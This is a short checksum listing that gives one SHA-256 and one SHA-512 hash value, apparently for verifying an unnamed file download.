SHA25699b7646f85bb05ad8fd53db930b20b537bef1bf07102a820bad796a576affa81
SHA512b722286d432137846770bd7877680cd97684ea929e8c7e87b00e0c42f04e5b7a4b85cb3a89c008e539d9a42e7920102f383cc4d85139ff95c64200b00ab28360